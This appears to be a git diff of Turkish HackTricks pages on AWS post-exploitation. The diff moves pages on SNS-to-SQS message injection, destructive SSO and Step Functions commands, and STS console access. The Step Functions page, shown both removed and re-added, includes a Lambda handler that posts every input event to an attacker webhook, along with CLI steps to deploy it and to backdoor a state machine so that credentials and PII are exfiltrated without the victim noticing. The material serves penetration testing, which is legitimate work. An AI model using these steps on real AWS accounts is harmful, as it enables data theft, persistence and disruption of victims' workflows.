@@ -0,0 +1,54 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Açıklama
|
||||
|
||||
Saldırgan kontrolündeki bir SNS topic'in kurban SQS kuyruğuna mesaj yayımlamasına izin vermek için SQS queue resource policy kötüye kullanılır. Aynı hesapta, bir SNS topic'e yapılan SQS subscription otomatik olarak onaylanır; hesaplar arası durumda ise kuyruktan SubscriptionConfirmation token'ını okuyup ConfirmSubscription çağrısı yapmanız gerekir. Bu, aşağı akıştaki tüketicilerin istemedikleri mesaj enjeksiyonunu ve bu mesajlara varsayılan olarak güvenmelerini mümkün kılar.
|
||||
|
||||
### Gereksinimler
|
||||
- Hedef SQS queue resource policy'yi değiştirme yeteneği: kurban kuyruk üzerinde `sqs:SetQueueAttributes`.
|
||||
- Saldırgan kontrolündeki bir SNS topic oluşturma/yayınlama yeteneği: saldırgan hesabı/topic üzerinde `sns:CreateTopic`, `sns:Publish`, ve `sns:Subscribe`.
|
||||
- Hesaplar arası (cross-account) yalnızca: doğrulama token'ını okumak ve `sns:ConfirmSubscription` çağrısı yapmak için kurban kuyruk üzerinde geçici `sqs:ReceiveMessage`.
|
||||
|
||||
### Aynı hesapta istismar
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Hesaplar arası notlar
|
||||
- Yukarıdaki kuyruk politikası yabancı `TOPIC_ARN` (saldırgan hesabı) için izin vermelidir.
|
||||
- Abonelikler otomatik onaylanmaz. Kurban kuyruğunda kendinize geçici `sqs:ReceiveMessage` izni verin, `SubscriptionConfirmation` mesajını okuyun ve ardından `Token` ile `sns confirm-subscription` çağrısı yapın.
|
||||
|
||||
### Etki
|
||||
**Potansiyel Etki**: SNS aracılığıyla güvenilen bir SQS kuyruğuna sürekli istenmeyen mesaj enjeksiyonu; bu, istenmeyen işlemlere, veri kirliliğine veya iş akışı suistimaline yol açabilir.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+5
-5
@@ -1,18 +1,18 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Bu izinler, izinleri bozmak için kullanılabilir:
|
||||
Bu izinler yetkileri bozmak için kullanılabilir:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-185
@@ -1,185 +0,0 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Bu izin, **bir yürütme içindeki gizli verileri açığa çıkarmaya** olanak tanır. Bunun için, Denetim seviyesinin TRACE olarak ayarlanması ve revealSecrets parametresinin true olarak belirlenmesi gerekir.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli zaman gerektirebilir. Ayrıca, bir saldırgana izlerini örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı tanır.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Bir durum makinesi sildiğinizde, ona bağlı tüm sürümleri ve takma adları da silersiniz.
|
||||
> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans alan durum makinesi sürümlerini silmezsiniz.
|
||||
> - Şu anda bir veya daha fazla takma ad tarafından referans alınan bir durum makinesi sürümünü silmek mümkün değildir.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potansiyel Etki**: Kritik iş akışlarının kesintiye uğraması, veri kaybı ve operasyonel duraksama.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Bu izne sahip bir saldırgan, Harita Çalışması hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısıyla oynayabilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Olası Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini durdurabilir, devam eden iş akışlarını ve süreçleri kesintiye uğratabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu eylem **express durum makineleri** tarafından desteklenmemektedir.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Aşağıdaki izinlere sahip bir kullanıcı veya rolü ele geçiren bir saldırgan:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...bir **yüksek etkili ve gizli bir post-exploitation saldırısı** gerçekleştirebilir, Lambda arka kapısını Step Function mantığı manipülasyonu ile birleştirerek.
|
||||
|
||||
Bu senaryo, kurbanın **duyarlı girdi işleyen AWS Step Functions kullanmasını** varsayıyor, örneğin kimlik bilgileri, tokenlar veya PII.
|
||||
|
||||
Örnek kurban çağrısı:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Eğer Step Function, `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırılmışsa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda fonksiyonunu güncelledi
|
||||
|
||||
Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, giriş verilerini sessizce dışarı aktarmak için değiştirir.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Step Function'a Kötü Amaçlı Bir Durum Ekleyin
|
||||
|
||||
Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başında bir **sızdırma durumu** enjekte edebilir.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Saldırgan, durumu tanımını daha gizli bir şekilde şu şekilde güncelleyebilir:
|
||||
{
|
||||
"Comment": "Exfiltrasyon için Arka Kapı",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
kurbanın farklılığı fark etmeyeceği bir şekilde.
|
||||
|
||||
---
|
||||
|
||||
### Kurban Ayarı (Sömürü için Bağlam)
|
||||
|
||||
- Hassas kullanıcı girdilerini işlemek için bir Step Function (`LegitStateMachine`) kullanılır.
|
||||
- `LegitBusinessLogic` gibi bir veya daha fazla Lambda fonksiyonu çağrılır.
|
||||
|
||||
---
|
||||
|
||||
**Olası Etki**:
|
||||
- Gizli verilerin, kimlik bilgileri, API anahtarları ve PII dahil olmak üzere sessiz bir şekilde sızdırılması.
|
||||
- İş akışı yürütmesinde görünür hata veya başarısızlık yok.
|
||||
- Lambda kodu veya yürütme izlerini denetlemeden tespit edilmesi zor.
|
||||
- Arka kapı kodda veya ASL mantığında kalırsa uzun vadeli kalıcılığı sağlar.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Bu AWS hizmeti hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Bu izin, bir yürütme içinde gizli verileri **açığa çıkarmaya** izin verir. Bunun için Inspection level'ı TRACE olarak ayarlamak ve revealSecrets parametresini true yapmak gerekir.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Bu izinlere sahip bir saldırgan durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerinin kurtarılması ve geri yüklenmesi için önemli zaman gerektirebilir. Ayrıca bir saldırganın izleri örtmesine, adli soruşturmaları aksatmasına ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları felç etmesine olanak sağlar.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Bir durum makinesini sildiğinizde, ona ait tüm sürümleri ve takma adları da silersiniz.
|
||||
> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans eden durum makinesi sürümlerini silmezsiniz.
|
||||
> - Halen bir veya daha fazla takma ad tarafından referans verilen bir durum makinesi sürümünü silmek mümkün değildir.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Olası Etki**: Kritik iş akışlarının aksaması, veri kaybı ve operasyonel kesinti.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını değiştirebilir; izin verilen maksimum alt iş akışı yürütme sayısını artırıp azaltarak servisin performansını doğrudan etkileyebilir. Ayrıca saldırgan, tolere edilen hata yüzdesi ve sayısıyla oynayarak bu değeri 0'a düşürebilir; böylece bir öğe her başarısız olduğunda tüm map run başarısız olur, bu da state machine yürütmesini doğrudan etkileyerek kritik iş akışlarını potansiyel olarak kesintiye uğratır.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Bu izne sahip bir saldırgan herhangi bir state machine'in yürütmesini durdurabilir, devam eden iş akışlarını ve süreçleri aksatabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> > Bu işlem **express state machines** tarafından desteklenmez.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Olası Etki**: Devam eden iş akışlarının aksaması, operasyonel kesinti ve olası veri bozulması.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Bir saldırgan, Step Functions kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu, kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Olası Etki**: maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrolü politikalarında aksama.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Aşağıdaki izinlere sahip bir kullanıcıyı veya rolü ele geçiren bir saldırgan:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...bir saldırgan Lambda backdooring ile Step Function mantık manipülasyonunu birleştirerek **high-impact and stealthy post-exploitation attack** gerçekleştirebilir.
|
||||
|
||||
Bu senaryo, mağdurun **AWS Step Functions ile hassas verileri işleyen iş akışlarını düzenlemek için** kullandığını varsayar; örneğin credentials, tokens veya PII.
|
||||
|
||||
Örnek hedef çağrısı:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Step Function `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırıldıysa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda fonksiyonunu güncelleme
|
||||
|
||||
Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, girdi verilerini sessizce exfiltrate etmek için değiştirir.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Step Function'a Bir Malicious State Ekle
|
||||
|
||||
Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başına bir **exfiltration state** enjekte edebilir.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Saldırgan, durum tanımını daha gizlice şu şekilde güncelleyebilir:
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
bu sayede kurban bunu fark etmeyecektir.
|
||||
|
||||
---
|
||||
|
||||
### Kurban Yapılandırması (Exploit için Bağlam)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) hassas kullanıcı girdilerini işlemek için kullanılır.
|
||||
- Bir veya daha fazla Lambda fonksiyonunu çağırır, örn. `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potansiyel Etki**:
|
||||
- Hassas verilerin (secrets, credentials, API keys, PII dahil) sessiz exfiltration'u.
|
||||
- İş akışı yürütülmesinde görünür hata veya başarısızlık olmaz.
|
||||
- Lambda kodu veya yürütme izleri denetlenmeden tespit edilmesi zordur.
|
||||
- Backdoor kodda veya ASL mantığında kaldığı sürece uzun vadeli persistence sağlar.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+13
-13
@@ -1,22 +1,22 @@
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Daha fazla bilgi için:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
|
||||
Eğer bazı IAM credentials elde etmeyi başardıysanız aşağıdaki araçları kullanarak **web console'a erişmekle** ilgilenebilirsiniz.\ Not: kullanıcı/rolun **`sts:GetFederationToken`** iznine sahip olması gerekir.
|
||||
Bazı IAM credentials elde ettiyseniz, aşağıdaki araçları kullanarak **web console**'a erişmek isteyebilirsiniz.\ Kullanıcı/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın.
|
||||
|
||||
#### Custom script
|
||||
#### Özel script
|
||||
|
||||
Aşağıdaki script varsayılan profile ve varsayılan bir AWS bölgesini (not gov and not cn) kullanarak size web console'a giriş yapmak için kullanabileceğiniz imzalı bir URL verir:
|
||||
Aşağıdaki script varsayılan profile ve varsayılan bir AWS bölgesini (not gov and not cn) kullanarak web console'a giriş yapmak için kullanabileceğiniz imzalanmış bir URL sağlayacaktır:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -54,7 +54,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
|
||||
```
|
||||
#### aws_consoler
|
||||
|
||||
[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) ile **bir web konsolu bağlantısı oluşturabilirsiniz**.
|
||||
[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) ile **bir web konsol bağlantısı oluşturabilirsiniz**.
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -67,7 +67,7 @@ aws_consoler [params...] #This will generate a link to login into the console
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) geliştirme ortamında AWS kimlik bilgilerini güvenli şekilde depolamak ve erişmek için kullanılan bir araçtır.
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir araçtır.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
@@ -76,9 +76,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
> [!NOTE]
|
||||
> Ayrıca **aws-vault** kullanarak bir **tarayıcı konsol oturumu** elde edebilirsiniz
|
||||
|
||||
### **Python'dan User-Agent kısıtlamalarını baypas etme**
|
||||
### **Python'dan User-Agent kısıtlamalarını atlama**
|
||||
|
||||
Eğer kullanılan **user agent'e göre belirli eylemleri gerçekleştirme kısıtlaması** varsa (ör. user agent'a göre python boto3 kütüphanesinin kullanımını kısıtlamak) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkün olabilir, veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**:
|
||||
Eğer kullanılan **User-Agent'a bağlı olarak belirli işlemleri gerçekleştirmeyi kısıtlayan** bir durum varsa (örneğin User-Agent'a göre python boto3 library kullanımını kısıtlamak gibi) önceki tekniği kullanarak **bir tarayıcı üzerinden web konsoluna bağlanmak** mümkün, veya doğrudan **boto3 user-agent**'ını değiştirerek şu şekilde yapabilirsiniz:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -93,12 +93,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
|
||||
```
|
||||
### **`sts:GetFederationToken`**
|
||||
|
||||
Bu izin ile, bunu çalıştıran kullanıcı için, kullanıcının sahip olduğu izinlerle sınırlı bir federe kimlik oluşturulabilir.
|
||||
Bu izinle, bunu çalıştıran kullanıcı için, kullanıcının sahip olduğu izinlerle sınırlı olmak üzere bir federe kimlik oluşturmak mümkündür.
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
sts:GetFederationToken tarafından döndürülen token, çağrıyı yapan kullanıcının federated identity'sine aittir, ancak sınırlı izinlere sahiptir. Kullanıcının yönetici haklarına sahip olsa bile, IAM kullanıcılarını listeleme veya policies ilişkilendirme gibi bazı işlemler federated token ile gerçekleştirilemez.
|
||||
sts:GetFederationToken tarafından döndürülen token çağıran kullanıcının federasyon kimliğine aittir, ancak izinleri kısıtlıdır. Kullanıcının yönetici hakları olsa bile IAM kullanıcılarını listeleme veya politika iliştirme gibi bazı işlemler federasyon tokenı ile yapılamaz.
|
||||
|
||||
Ayrıca bu yöntem biraz daha gizlidir; federated user AWS Portal'da görünmediği için yalnızca CloudTrail logları veya izleme araçları aracılığıyla gözlemlenebilir.
|
||||
Ayrıca, bu yöntem biraz daha gizlidir; çünkü federasyon kullanıcısı AWS Portal'da görünmez, sadece CloudTrail logları veya izleme araçları aracılığıyla gözlemlenebilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user